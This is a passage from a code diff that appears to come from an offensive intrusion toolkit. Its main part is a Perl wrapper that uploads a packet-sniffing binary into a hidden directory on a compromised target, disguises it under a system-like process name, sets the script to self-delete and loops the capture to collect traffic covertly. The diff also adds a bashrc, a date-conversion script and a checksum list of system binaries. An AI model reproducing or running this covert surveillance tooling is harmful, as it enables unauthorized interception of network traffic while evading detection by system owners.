math from | bc to $(( syntax if + # -A option is used. + #Run after all vars in here are defined + # We remove any double quotes put there on command line + $sift_filter = $1 if ($sift_filter =~ m,^\"(.*[^\\])\"$,); + $sift_scriptconfig = "#!$targetshell +DIR=$sift_deploydir +BDIR=$sift_bindir +DEST1=$sift_currentdir +DEST2=$sift_donedir +DBGDIR=$sift_debugdir +SELFDELETE=$sift_unlink +COMPRESS=$sift_compress +TOOL=$sift_runas +MAXPCT=$sift_maxpct +WIPEONMAX=$sift_wipeonmax +WIPEUNDER=$sift_wipeunder +RETRYONDIE=$sift_retryondie +MAXFILES=$maxfiles +OUTFILE=$sift_outfile +CONF=$sift_currentdir/$sift_config +DIEDIR=$sift_diedir +V=$rmverbose +CAP=$sift_maxmeg +SPLIT=$sift_chopsize +INTF=$sift_intf +PSCMD=\"$pscmd\" +SCRIPTNAME=$sift_runscriptas +RUNFOR=$sift_runfor +SLEEPFOR=$sift_sleepfor +WATCHFOR=$sift_watchfor +WATCHFORCHILDREN=\"$sift_watchforchildren\" +DELAYFOR=$sift_delayfor +INODEDF=\"$inodedf\" +KBDF=\"$kbdf\" +FILT=\"$sift_filter\" +MOREARGS=\"$sift_moreargs\" +"; + + unless ($checkdebugonly or $lookforsift) { + mydie("Cannot open $opup/wrapsift.sh") + unless open(SIFTIN,"$opup/wrapsift.sh"); + $sift_scriptcontent = ""; + while() { + next unless m,^\# END ARGS,; + $sift_scriptcontent = $_; + last; + } + while() { + if (!$usebcmath and /\| *bc/) { + # Using dot here for backticks, just easier + my ($varname,$math) = + /^(.*)=.echo (.*)\s*\|\s*bc.\s*$/; + $math =~ s,\$(.*),\$\(\($1\)\),; + $math =~ s,\s+,,g; + $_ = "$varname=$math\n"; + } + s/die (\d+).*/die $1/g unless $debug; + $sift_scriptcontent .= $_; + } + close(SIFTIN); + mydie("ERROR: Read in $opup/wrapsift.sh, but it is empty") + unless ($sift_scriptcontent and $sift_scriptconfig); + + preservefile("$opup/wrapsift.sh.LATEST"); + preservefile("$opup/wrapsift.sh.LATEST.config"); + mydie("Cannot open $opup/wrapsift.sh.LATEST for writing") + unless open(SIFTOUT,"> $opup/wrapsift.sh.LATEST"); + mydie("Cannot open $opup/wrapsift.sh.LATEST.config for writing") + unless open(SIFTCFG,"> $opup/wrapsift.sh.LATEST.config"); + print SIFTOUT $sift_scriptconfig; + print SIFTOUT $sift_scriptcontent; + print SIFTCFG $sift_scriptconfig; + + close(SIFTOUT); + close(SIFTCFG); + } +}# Buildwrapsift + +sub myprep { + checkmkdir($sift_donedir,$sift_currentdir,$sift_deploydir,$sift_bindir,); + my @localsifts = picksift(); + checkremotesift(@localsifts); + + unless ($inodedf and $kbdf) { + my @nopenlines = (); + ($output,$nopenlines,@output) = doit("=df"); + push(@nopenlines,grep /^\[df/ , split(/\n/,$nopenlines)); + $nopenlines[-1] =~ s,^\[df,=df = df,; + ($output,$nopenlines,@output) = doit("=di"); + push(@nopenlines,grep /^\[df/ , split(/\n/,$nopenlines)); + $nopenlines[-1] =~ s,^\[df,=di = df,; +# -help in doit broke with NOPEN 3.2, running the alias and parsing nopenlines replaces that +# ($output,$nopenlines,@output) = doit("-help > L:/current/tmp/.sifthelp.$$"); + +# while (my $line = shift(@nopenlines)) { + + foreach my $line (@nopenlines) { + $line =~ s,\],,g; + $line =~ /(=d.) = (df -\S*)\s*$/; + next unless $line =~ /(=d.) = (df -\S*)\s*$/; + my ($name,$value) = ($1,$2); + + newhostvar(inodedf,$value) if ($name eq "=di") ; + newhostvar(kbdf,$value) if ($name eq "=df") ; + } + +dbg("Got localsifts=(@localsifts); +localsifts[0]=$localsifts[0]= +nopenlines=(\n".join("\n",@nopenlines)."\n) +inodedf=$inodedf= +kbdf=$kbdf= +"); + } + + buildwrapsift(); +} + +sub picksift { + mydie("Cannot opendir $opup") unless opendir(SIFTDIR,$opup); + my @localsifts = grep /sift/i,sort readdir SIFTDIR; + closedir(SIFTDIR); + if (opendir(SIFTDIR,"$opup/sift")) { + foreach my $sift (grep /sift/i,sort readdir SIFTDIR) { + push(@localsifts,"sift/$sift"); + } + closedir(SIFTDIR); + } else { + dbg("Cannot opendir $opup/sift"); + } + @localsifts = grep ! /^(\.\.*)$/ , @localsifts; + @localsifts = grep ! /(wrapsift|tar.bz2)/ , @localsifts; + @localsifts = grep ! /\/(\.\.*)$/ , @localsifts; + @localsifts = grep /solaris/i, @localsifts if $solaristarget; + @localsifts = grep !/solaris/i, @localsifts unless $solaristarget; + @localsifts = grep /sparc/i, @localsifts if $sparctarget; + @localsifts = grep /linux/i , @localsifts if $linuxtarget; + @localsifts = grep /64/, @localsifts if (($intel64target or $sparc64target) and + grep /64/,@localsifts); + return @localsifts; +} + +sub checkremotesift { + local(@localsifts) = (@_); + my ($justputthere,$alreadythere) = (0,0); + while (1) { + my ($output,$nopenlines,@psoutput) = doit("-ls -d $sift_deploydir/$sift_runas"); + if ($output) { + $alreadythere = 1; + last if $justputthere; + my $localsize = -s $localsifts[0]; + my ($type,$inodes,$user,$group,$remotesize,$monstr, + $mday,$hm,$y,$filename,@morefilename) + = split (/\s+/,$output); + my $sizemore = "";# (which matches $opup/$localsifts[0] in size)\n"; + $sizemore = " (which$COLOR_FAILURE DOES NOT MATCH$COLOR_NORMAL $opup/$localsifts[0] in size)\n" + unless ($localsize != $remotesize); + if (-f "$opup/$localsifts[0]") { + my $listing = `cd $opup ; ls -alrtL @localsifts 2>/dev/null`; + my $moresize = ""; + $moresize = " (${COLOR_FAILURE}red$COLOR_NOTE one matches remote one's size)" + unless $sizemore; + $listing =~ s,([^\n]* $remotesize [^\n]*),$COLOR_FAILURE$1$COLOR_NORMAL,; + $sizemore .= + "Local sift(s) matching target$moresize $sift_runas:$COLOR_NORMAL\n\n". + "cd $opup ; ls -alrtL @localsifts 2>/dev/null\n". + $listing. + "\n\n"; + ($sift_binary) = $listing =~ m, (sift/\S+),; + } elsif (!@localsifts) { + $sizemore = "NO LOCAL SIFTS FOUND MATCHING TARGET\n\n"; + } + my ($ans) = mygetinput + ( + "$COLOR_NOTE\n". + "Remote $sift_runas:$COLOR_NORMAL\n\n". + $output."\n\n$COLOR_NOTE". + $sizemore. + "Looks like sift is already there as $sift_runas.\n\n". + "Do you want to use the file already there?","Y","A"); + mydie("User aborted") + if ($ans eq "a"); + if ($ans ne "y") { + doit("-rm $sift_deploydir/$sift_runas"); + ($justputthere,$alreadythere) = (0,0); + } + } + last if $alreadythere; + my $list = ""; + foreach (@localsifts) { + $list .= `ls -alrtL $opup/$_ | sed "s,.*root, ,g"`; + } + $list = "Matching local sift binaries:\n$COLOR_NOTE\n$list\n$COLOR_NORMAL" + if $list; + my $default = "$opup/$localsifts[-1]" if $localsifts[-1]; + my ($ans,$longans) = mygetinput + ($list."\n\n". + "What local sift binary would you like to upload as\n". + " $sift_deploydir/$sift_runas (Or you can ABORT)?\n\n", + $default + ); + mydie("User aborted") if ($longans =~ /^a/i); + if (-e $longans) { + $sift_binary = $longans; + doit("-put $longans $sift_deploydir/$sift_runas"); + $justputthere++; + } + } +} + +sub checkmkdir { + local (@dirs) = uniqify_array(@_); + + my %checkedalready = (); + foreach my $dir (@dirs) { + my $prompt = "to build our work area in the hidden directory"; + $prompt = "our debug directory, where .dbg will grow" + if $dir eq $sift_debugdir; + next if $checkedalready{$dir}; + my ($output,$nopenlines,@psoutput) = doit("-ls -d $dir"); + if ($output) { + my $subdir = $dir; + while (length $subdir >= length($host_hiddendir)) { + $checkedalready{$subdir}++; +dbg("just set \$checkedalready{$subdir}=$checkedalready{$subdir}="); + $subdir = dirname($subdir); + } + next; + } + if ((!$sift_deploydirexists) and ($dir =~ m,$sift_deploydir,)) { + my ($alreadyexists) = doit("-ls -d $sift_deploydir"); + mydie("Unable to continue:\n\n\n". + " -d $sift_deploydir does not yet exist") + unless ($alreadyexists); + $sift_deploydirexists++; + } + offerabort("To proceed, $prog needs to run: mkdir -p $dir\n". + "($prompt)"); + ($output,$nopenlines,@psoutput) = doit("mkdir -p $dir"); + dbg("Just made dir=$dir= got ($output,$nopenlines,@psoutput) "); + # We re-test same dir again after making it + redo; + } +} + +sub mydoit { + local (@what) = (@_); + my ($o,$n,@o) = doit(@_); + $completeoutput .= $o; + push (@completeoutput,@o); + return ($o,$n,@o); +} + + +sub setusagetexts { + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=wrapsift\" is used. + +"; + $gsusagetext=" +Usage: + +$prog \[OPTIONS\] [PCAP_FILTER | -j PCAP_FILE] + +$prog deploys a bourne shell wrapper script along with the sift binary. +Both are deployed to the target hidden directory by default. + +The $opup/wrapsift.sh file is modified per the $prog options used, +then it and the sift binary are uploaded and the script is executed. + +The script shows some output indicating its initial progress, daemonizes, and +then execution is returned to the NOPEN window. The script will run until +killed. It loops infinitely, starting up a fresh instance of sift as +configured every -I seconds. The loop starts sift, lets it finish, then moves +the capture file just obtained from the -s sdir to the capture directory +(-S Sdir, and defaulting to ./s/s within the hidden directory). The capture +files in -S Sdir to be retrieved later start with the prefix determined by +the -o str option and end in a YYYYMMDDHHMMSS (UTC) timestamp. + +Multiple $prog instances can be used to start concurrent sift instances +if care is used. Best is to use a different -o string for each and the same +capture directory (-S Sdir). Be sure to use a different filename prefix +(-o str) for each instance. The config file for each will then use the same +string, so using -B with the correct -o str will only modify one instance. + +DEBUGGING: + +The currently running wrapsift.sh script(s) can be monitored by creating the +debug directory (-D DDir). Using the -T option with the same settings as when +deployed will offer to create it for you. When the DDir exists, debug entries +from scripts configured with that debug location (normally all use the +default one) will append debug output to a file there called .dbg. + +If a script instance deployed by $prog dies while the DDir does not exist, +then in sdir, the file starting with .D (ending with the -o str) is written to +(appended). The new line will be in the following format, which includes the +interface and filter as well as the error code indicating where it died (look +in $opup/wrapsift.sh for the comment associated with that error, search for +\"die ERR\" for that ERR number): + + GMT-DATE: (INTF:FILT)[pid] ERR + + +OPTIONS + -h/-v Show this help/version +". +#NOT THERE: -A ARGS Additional sift arguments (NOT FILTERS) +" -A Use backticked bc for arithmetic in lieue of \$((VAR syntax. + If you see an error related to variable MINCOUNT=\$ with the + default, then try -A. + -b bdir Directory to upload/execute the shell script, defaults to + /tmp unless -u is used, then defaults to the hidden dir + -B Build a new config file for upload with new settings + (for a script already deployed and running) + -c SIZE Chop each -M MAX sized collect file using split into chunks + each of this SIZE (in megabytes). Using -c value >= -M value + disables splitting and allows arbitrarily large pcap files. + Use with CAUTION. + -C TOOL Compress with remote TOOL after moving each capture file + -d ddir Deployment directory [defaults to hidden dir] + -D Ddir Directory in which debug log .dbg will be updated [ddir/d] + when Ddir exists. DO NOT LEAVE THIS THERE UNATTENDED + -E shell Use this remote shell (CONFIRM THIS WORKS) [$def_E] + NOTE: Will automatically try /bin/sh if $def_E is not there. + -f MAX Allow at most MAX files in -S Sdir. Script [$def_f] + will delete the oldest if this cap is exceeded + -G BYTES As sift exits, the script will delete any collection files + less than BYTES in size. Use -G 25 and zero packet pcap files + (which are 24 bytes) will be deleted automatically. + -i intf Interface for sift to capture on (required) + -I TIME Duration to deploy each sift instance [$defIstr] + -j locfile Local file which contains the PCAP filter. Allows very + long filters, too long for NOPEN command lines. + -l Look for previous deployments (with =ps + -L Deploy sift in promiscuous mode (MIGHT LOG, esp. ON LINUX) + -M MAX Have each instance of sift stop after MAX megabytes [10] + -N Deploy sift in Netglean selective capture mode. + -o str Filename prefix in Sdir to call the files (required) + -p TIME Duration to sleep each loop if file system too full [$defpstr] + -P MAXPCT Stop writing sift output files when the file (required) + system is MAXPCT% full + + -Q TIME Time to sit idle between sift runs [$defQstr] + -r runas Name to run sift as [devfsadmd] + -R P[,K1[,K2]] Monitor =ps output every loop for a process running ./P that + optionally has a descendent K1 (or optionally K2). If P is + not running, start ./P. If P is running, and if one or more + Kn processes are provided but no such descendent Kn is found, + look again for TEN SECONDS, and if still no such descendent + is visible, KILL the running process P, then start ./P again. + NOTE: ANY of the Kn processes running is sufficient to leave ./P + as it stands (no restart). + -s sdir Directory for current sift capture file [ddir/s] + -S Sdir Directory for completed/moved capture files [ddir/s/s] + -T [#] Tail # lines of the log file (.dbg) in Ddir and exit [20] + -u Do NOT have the script self-delete and [default does] + allow script to start even if capture file exists + -X shellas Run shell wrapper script as [O.sh] + -w When the -P cap is reached, delete enough files in ddir/s/s + to bring us under the -P cap. If that is not possible, we + still sleep. + -W If sift fails to start (e.g., the interface is down), the norm + is to sleep for the -p TIME setting and try again. This option + reverts to the OLD default of dying, instead. + -z SNAPLEN Uses the -S SNAPLEN option to SIFT to capture only the first + SNAPLEN bytes in each packet. SNAPLEN of 0 is not needed + to capture entire packet, that is SIFTs default. + + + ( TIME formats for -I/-p/-Q/-W: [#h][#m]#[s] ) + +NOTE: The \"O\" used in -c and -X defaults will be the value of the required + -o option used. + +$prog \[OPTIONS\] \[PCAP_FILTER | -j PCAP_FILE\] + +"; + my $notusedanymore = " + + -C file Filename in sdir to read variables from if it exists [s.c] + +"; +}#setusagetexts diff --git a/Linux/etc/bashrc b/Linux/etc/bashrc new file mode 100644 index 0000000..cbe82c4 --- /dev/null +++ b/Linux/etc/bashrc @@ -0,0 +1,62 @@ +# /etc/bashrc + +PATH=/opt/ActivePerl-5.10/site/bin:/opt/ActivePerl-5.10/bin:/usr/local/bin:/usr/src/firefox:/current/bin:/current/op2/bin:/current/op3/bin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/games +export PATH +BASHRCVER=2.1.0.2 + +# System wide functions and aliases +# Environment stuff goes in /etc/profile + +# by default, we want this to get set. +# Even for non-interactive, non-login shells. +if [ `id -gn` = `id -un` -a `id -u` -gt 99 ]; then + umask 007 +else + umask 027 +fi + +# are we an interactive shell? +if [ "$PS1" ]; then + case $TERM in + xterm*) + PROMPT_COMMAND='echo -ne "\033]0;${TERMTITLE}${USER}@${HOSTNAME}: ${PWD}\007"' + ;; + *) + ;; + esac + [ "$PS1" = "\\s-\\v\\\$ " ] && PS1="[\u@\h \W]\\$ " + + if [ "x$SHLVL" != "x1" ]; then # We're not a login shell + for i in /etc/profile.d/*.sh; do + if [ -x $i ]; then + . $i + fi + done + fi + PS1="\[\\033[0;34m\]\t [\w]\\$ \[\\033[0;39m\]" +fi +#unalias ls 2>/dev/null +alias ls='ls --color=auto -F' +alias lt='ls -arltF' +alias ltt='lt | tail' +#alias uz='cd ; umount /dev/zip || umount /dev/zip' +#alias mz='uz ; mount /dev/zip ; cd /mnt/zip && ls -arlt' +#alias uz='(sync &) ; pwd | grep -i mnt\/zip && cd /current/bin && pwd ; umount /mnt/zip' +alias uz='(sync &) ; pwd | grep -i mnt\/zip && cd /current/bin && pwd ; unfindzip || unfindzip' +alias mz='findzip' +alias ej='uz ; eject zip' +alias h='history | tail -50' +alias j='jobs -l' +alias l="ls -alF" +alias ll="ls -alF" +alias cdp="cd ~-" +alias zap="killall -v" +alias nslookup="nslookup -silent" +alias xt='xterm +cm +cn -ls -sk -sb -sl 10000 -ls -bg gray80 -fg black &' + +tset -e^? + +MANPATH=/opt/ActivePerl-5.10/site/man:/opt/ActivePerl-5.10/man:$MANPATH +export MANPATH + +xset m 2/1 diff --git a/Linux/etc/bashrc-u b/Linux/etc/bashrc-u new file mode 100644 index 0000000..197af93 --- /dev/null +++ b/Linux/etc/bashrc-u @@ -0,0 +1,7 @@ +# $Id: bashrc-u,v 1.5 2006/06/06 23:21:57 ident Exp $ +BASHRCVER=2.0.1.2 +[ -e /etc/bashrc ] && . /etc/bashrc + +PS1="\[\\033[1;31m\]UNSCRIPTED \\$\h \W\a> \[\\033[0;39m\]" + +PROMPT_COMMAND='echo -ne "\033]0;${TERMTITLE}UNSCRIPTED WINDOW: ${PWD}\007"' diff --git a/Linux/etc/cdate.py b/Linux/etc/cdate.py new file mode 100755 index 0000000..b5e5e71 --- /dev/null +++ b/Linux/etc/cdate.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python +version = "3.0.0.0" + +import sys +import time +import os +import re +import getopt +import calendar + +def usage(prog): + + prog = prog.split(os.sep)[-1] + print 'usage: %s [options] [date [+/-hr]]\n' % (prog) + print 'options:' + print ' -e show epoch seconds' + print ' -d show YYYYMMDDHHMM.SS format' + print ' -u show MM/DD HH:MM (sulog) format' + print ' -s show string format\n' + print ' -h show help and exit' + print ' -v show version and exit\n' + print 'date can be in the following formats:\n' + print ' epoch in secs ex. 1000000000' + print ' YYYYMMDDHHMM[.SS] ex. 200109090146.40' + print ' MM/DD HH:MM [YYYY] ex. 09/09 01:46 2001' + print ' [Ddd] Mmm DD HH:MM[:SS] [YYYY] ex. Sun Sep 09 01:46:40 2001\n' + print '+/-hr specifies an offset in hours, ex. +8\n' + print '%s version %s' % (os.path.basename(prog), version) + sys.exit(1) + +def to_epoch(t): + + return str(calendar.timegm(t)) + + +def to_date(t): + + return time.strftime('%Y%m%d%H%M.%S', t) + + +def to_str(t): + + return time.strftime('%b %d %H:%M:%S %Y', t) + + +def to_sulog(t): + + return time.strftime('%m/%d %H:%M %Y', t) + +def parse_str(s): + + try: + if re.match('^\d{1,10}$', s): + thedate = time.gmtime(int(s)) + elif re.match('^\d{12}$', s): + thedate = time.strptime(s, '%Y%m%d%H%M') + elif re.match('^\d{12}\.\d\d$', s): + thedate = time.strptime(s, '%Y%m%d%H%M.%S') + elif re.match('^\w{3} \d{1,2} \d\d:\d\d:\d\d \d{4}$', s): # Mmm DD HH:HH:SS YYYY + thedate = time.strptime(s, '%b %d %H:%M:%S %Y') + elif re.match('^\w{3} \d{1,2} \d\d:\d\d \d{4}$', s): # Mmm DD HH:HH YYYY + thedate = time.strptime(s, '%b %d %H:%M %Y') + elif re.match('^\w{3} \d{1,2} \d\d:\d\d:\d\d$', s): # Mmm DD HH:HH:SS + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%b %d %H:%M:%S %Y') + elif re.match('^\w{3} \d{1,2} \d\d:\d\d$', s): # Mmm DD HH:HH + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%b %d %H:%M %Y') + elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d:\d\d \d{4}$', s): # Ddd Mmm DD HH:HH:SS YYYY + thedate = time.strptime(s, '%a %b %d %H:%M:%S %Y') + elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d \d{4}$', s): # Ddd Mmm DD HH:HH YYYY + thedate = time.strptime(s, '%a %b %d %H:%M %Y') + elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d:\d\d$', s): # Ddd Mmm DD HH:HH:SS + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%a %b %d %H:%M:%S %Y') + elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d$', s): # Ddd Mmm DD HH:HH + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%a %b %d %H:%M %Y') + elif re.match('^\d\d\/\d\d \d\d:\d\d$', s): # MM/DD HH:MM + thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%m/%d %H:%M %Y') + elif re.match('^\d\d\/\d\d \d\d:\d\d \d\d\d\d$', s): # MM/DD HH:MM YYYY + thedate = time.strptime(s, '%m/%d %H:%M %Y') + else: + return None + except Exception, e: + print str(e) + return None + + return thedate + + +def print_pretty(t): + + print '' + print 'epoch time : %s' % (t[0]) + print 'YYYYMMDDHHMM.SS : %s' % (t[1]) + print 'MM/DD HH:MM YYYY : %s' % (t[2]) + print 'full string : %s' % (t[3]) + print '' + + +def convert(args): + thedate = None + thedate_woff = None # The date shifted for proper epoch time done by tzoffset + offset = 0 # To arbitrarily shift all timestamps + tzoffset = 0 # To set the offset for timezones, properly computing epoch time + + if args == None or len(args) == 0: + thedate = time.localtime() + else: + if len(args[-1]) == 1: # Looks like we were handed a string, so going to do a split here + args = args.split() + if re.match('^[+-]\d\d?$', args[-1]): + offset = int(args[-1]) + if offset < -23 or offset > 23: + print 'error: bad offset value' + usage(sys.argv[0]) + args = args[:-1] + if re.match('^[+-]\d\d\d\d$', args[-1]): + tzoffset = int(args[-1])/100.0 + (0-int(args[-1])/100.0) % 1 - (abs(int(args[-1])) % 100.0)/60.0 + if tzoffset < -23 or tzoffset > 23: + print 'error: bad offset value' + usage(sys.argv[0]) + args = args[:-1] + + thedate = parse_str(' '.join(args)) + + if thedate == None: + print 'error: bad date format' + usage(sys.argv[0]) + + if tzoffset: + t = calendar.timegm(thedate) + t -= (tzoffset * 60 * 60) + thedate_woff = time.gmtime(t) + return to_epoch(thedate_woff), to_date(thedate), to_sulog(thedate), to_str(thedate) + if offset: + t = calendar.timegm(thedate) + t += (offset * 60 * 60) + thedate = time.gmtime(t) + return to_epoch(thedate), to_date(thedate), to_sulog(thedate), to_str(thedate) + + +def main(): + + showe = False + showd = False + shows = False + showu = False + + if len(sys.argv) == 1: + thedates = convert(None) + print_pretty(thedates) + sys.exit(1) + + try: + opts, args = getopt.getopt(sys.argv[1:], 'hvedsu') + except getopt.GetoptError, err: + print str(err) + usage(sys.argv[0]) + + for o, a in opts: + if o == '-h': + usage(sys.argv[0]) + elif o == '-v': + print '%s version %s' % (os.path.basename(sys.argv[0]), version) + sys.exit(1) + elif o == '-e': + showe = True + elif o == '-d': + showd = True + elif o == '-s': + shows = True + elif o == '-u': + showu = True + + + thedates = convert(args) + + + if showe or showd or shows or showu: + if showe: + print thedates[0] + if showd: + print thedates[1] + if showu: + print thedates[2] + if shows: + print thedates[3] + else: + print_pretty(thedates) + + + +if __name__ == '__main__': + main() diff --git a/Linux/etc/cksums b/Linux/etc/cksums new file mode 100644 index 0000000..95a7b0f --- /dev/null +++ b/Linux/etc/cksums @@ -0,0 +1,3715 @@ +3D69D28B568EF4E822B572E0AB476FB7B188606C Thu May 2 23:53:05 1996 /bin/compress [SunOS alice 5.5.1] +16D573A4619092F2A85AA9E26A13891F61132129 Thu May 2 23:54:12 1996 /bin/du [SunOS alice 5.5.1] +5857E002EBC1D6917579B2D1B49E8E73A2F6BDDF Thu May 2 23:54:40 1996 /bin/find [SunOS alice 5.5.1] +94C3B97BEEE59AEF9F32A75E6EB3AA18DBF4B628 Thu May 2 23:58:06 1996 /bin/kill [SunOS alice 5.5.1] +4AFF8853BBC0376091842267FE2AA50862BF5DD2 Thu May 2 23:57:52 1996 /bin/last [SunOS alice 5.5.1] +C866B99F87110E7C6AA502B2CADEC66E6E60CC4C Thu May 2 23:58:44 1996 /bin/ls [SunOS alice 5.5.1] +F7391CD1402AC6522F2596AA72BAFDB36A948D84 Wed Jun 4 23:45:21 1997 /bin/netstat [SunOS alice 5.5.1] +3B676642974EBE5450DEB3F8C8A59453C73C7A13 Fri May 3 00:00:48 1996 /bin/ps [SunOS alice 5.5.1] +13A153D0EDC94C148EAA7B5A9C7CCC84873FA2BE Fri Sep 13 19:56:24 1996 /bin/rm [SunOS alice 5.5.1] +3F391C14DC987DADA2FF28987332070757C431A5 Fri May 3 00:01:09 1996 /bin/rpcinfo [SunOS alice 5.5.1] +94314AFE6E61713B65CB527370CACD1A71E13132 Tue Aug 6 15:12:38 1996 /bin/sh [SunOS alice 5.5.1] +89F6A05580A5DB5A821BF178628BF3500DBE542B Fri Nov 22 16:59:03 1996 /bin/su [SunOS alice 5.5.1] +E44FC1FF2766D96D51B49325E6D9A96B5AB05D46 Fri May 3 00:02:06 1996 /bin/sum [SunOS alice 5.5.1] +CF0D42504AEECE74F0A1B9F7AAFF24F7249A54F4 Mon Mar 31 14:54:05 1997 /bin/tar [SunOS alice 5.5.1] +BF381EEE730B21EA062A3518A59B5A487EFBE350 Thu May 2 23:57:50 1996 /bin/telnet [SunOS alice 5.5.1] +3D69D28B568EF4E822B572E0AB476FB7B188606C Thu May 2 23:53:05 1996 /bin/uncompress [SunOS alice 5.5.1] +B5423085A5B3F4C98A821BAE5F0B28817EBF9751 Fri May 3 00:04:58 1996 /bin/w [SunOS alice 5.5.1] +C91EA49CBFD1B6EEA0ECE95678AD748EF2E0348E Fri May 3 00:05:08 1996 /bin/who [SunOS alice 5.5.1] +192105D040054CACF3E9AC4C786CED05A6704D9B Thu May 2 23:56:00 1996 /usr/sbin/arp [SunOS alice 5.5.1] +89CFF654CCEF1F6AAC3C863AE84DEC799219FA27 Wed Oct 23 18:09:38 1996 /usr/sbin/inetd [SunOS alice 5.5.1] +11B7F8E4D4A2DA99657722F87D9F58BC94279A33 Fri May 30 11:20:57 1997 /usr/sbin/in.ftpd [SunOS alice 5.5.1] +3C3B6ED205F5FB170BBAFC5E244FF78B83840AE6 Fri May 30 11:48:14 1997 /usr/sbin/in.rlogind [SunOS alice 5.5.1] +9A79586662DF239335AA1C9EFC800D475CF53F6A Fri May 16 20:49:21 1997 /usr/sbin/in.rshd [SunOS alice 5.5.1] +EF4A2798FF93A70AC907768C7C950A0E0ADDB2E5 Thu May 2 23:56:01 1996 /usr/sbin/in.telnetd [SunOS alice 5.5.1] +EF994E7A5910F15FE79569A5A62DFC0D275D016C Thu May 2 23:59:42 1996 /usr/sbin/modinfo [SunOS alice 5.5.1] +47C7EF5C60038C5EBA5F0E9B938EA839D9AEC47C Thu May 2 23:59:42 1996 /usr/sbin/modload [SunOS alice 5.5.1] +FA7FB2626AE813EB97A9B64D5578087A2748812C Fri May 3 00:09:11 1996 /usr/ucb/ps [SunOS alice 5.5.1] +6F59CC7D6290BEF4EBC08AB9C4D03B10424B543B Thu May 2 23:56:01 1996 /usr/sbin/in.tftpd [SunOS alice 5.5.1] +3CB7FF33100CBE8B2482868191C9204AD779FC24 Thu May 2 23:54:50 1996 /usr/sbin/fuser [SunOS alice 5.5.1] +ABA9CD816F9FB919994B4F401AC04048A152C0ED Fri May 22 18:09:35 1998 /bin/netstat [SunOS ultraman 5.5.1] +48610CF0E61B31DA8135030E01C48F6A1E2441A2 Fri Aug 13 08:15:09 1999 /bin/ps [SunOS ultraman 5.5.1] +32DA7C1CE38AB38C8EF007F8D9E3654E493B7424 Tue May 19 17:33:19 1998 /bin/rm [SunOS ultraman 5.5.1] +B5565498B658B83FCD040C0822A3B7F07F16E4DD Wed Oct 15 16:32:52 1997 /bin/sh [SunOS ultraman 5.5.1] +7D66EADA8A2971871E1D027D1CF31655BDD43725 Fri Apr 24 22:54:22 1998 /bin/su [SunOS ultraman 5.5.1] +DE32C397659B6F10912A002CC49CAA04A2DFBF45 Mon Mar 2 18:28:35 1998 /usr/sbin/in.ftpd [SunOS ultraman 5.5.1] +08168B1B7B7F2C55CA170C1E894C02B80B5EAA0D Mon Mar 2 18:28:35 1998 /usr/sbin/in.rshd [SunOS ultraman 5.5.1] +2E1077206ADA01A8BCCF0DF3003F0B8EB185F398 Fri Aug 13 08:15:15 1999 /usr/ucb/ps [SunOS ultraman 5.5.1] +A4B72C947DB941C62BE42E7B4DCA7178D551A251 Fri Mar 13 13:31:09 1998 /bin/login [SunOS ultraman 5.5.1] + +517B6B1E14AB995EA51F82EDEAA5B3B4BAFE870D Wed Jul 16 00:19:54 1997 /bin/compress [SunOS klink 5.6] +6E8018F9840D76B6D26065CB38F547366C071EE6 Wed Jul 16 00:20:18 1997 /bin/du [SunOS klink 5.6] +74A9AE6443ABEEF2F7141B30849E780CCB998C81 Wed Jul 16 00:20:29 1997 /bin/find [SunOS klink 5.6] +94C3B97BEEE59AEF9F32A75E6EB3AA18DBF4B628 Wed Jul 16 00:23:56 1997 /bin/kill [SunOS klink 5.6] +F661EFD874BF998825E55B180563D8065F95ADFD Wed Jul 16 00:21:33 1997 /bin/last [SunOS klink 5.6] +658D560BD7D472228F4CD9728511CC43A1682D96 Wed Jul 16 00:22:33 1997 /bin/ls [SunOS klink 5.6] +114AE9F922EDA9B0B1DEF853D42C49AEE7099B04 Wed Jul 16 00:31:37 1997 /bin/netstat [SunOS klink 5.6] +2E5AD7BEDAC0A97CEAD9930357163EED45D29059 Wed Jul 16 00:23:37 1997 /bin/ps [SunOS klink 5.6] +0D249CCB43D3C696D183E9051F2948623022F0A6 Wed Jul 16 00:24:29 1997 /bin/rm [SunOS klink 5.6] +0758120B5D955933CAD64ADF69ABD747927141E7 Wed Jul 16 00:24:40 1997 /bin/rpcinfo [SunOS klink 5.6] +BE54DC2EC5ADB7958B8901C596620CFA8AE43308 Wed Jul 16 00:28:15 1997 /bin/sh [SunOS klink 5.6] +D41C5C5564FC99C4E083F27E41226AD94822E1DE Wed Jul 16 00:25:28 1997 /bin/su [SunOS klink 5.6] +4CEC410B16DD855E6765A4D26C168B0E37F997E2 Wed Jul 16 00:24:56 1997 /bin/sum [SunOS klink 5.6] +DE8B212C1C6AF6303ED5AB37369EBD1F4468CCB9 Wed Jul 16 00:26:26 1997 /bin/tar [SunOS klink 5.6] +78B62B5F96ECDC0C06A4C388ABC5319860B5A9CC Wed Jul 16 00:31:59 1997 /bin/telnet [SunOS klink 5.6] +517B6B1E14AB995EA51F82EDEAA5B3B4BAFE870D Wed Jul 16 00:19:54 1997 /bin/uncompress [SunOS klink 5.6] +6DC8ACBC61B0DC58E931286B3028A24DA61837B1 Wed Jul 16 00:26:16 1997 /bin/w [SunOS klink 5.6] +AD1A913FD1E95F999C12C3FA4CA56FB45F87B403 Wed Jul 16 00:26:46 1997 /bin/who [SunOS klink 5.6] +2E1FA1F01E7CC46206FCD3BD50EA9819F89FB705 Wed Jul 16 00:27:08 1997 /usr/sbin/arp [SunOS klink 5.6] +047885D3D7237352C7874EC4495928E64858A845 Thu Sep 7 04:33:15 2000 /usr/sbin/inetd [SunOS klink 5.6] +BD626DDE3D9DA2E8F0362315E6E92F4EC6CD64DB Wed Apr 21 04:31:36 1999 /usr/sbin/in.ftpd [SunOS klink 5.6] +B6BE1D03A9584E216124142D429B7C878AA67873 Wed Jul 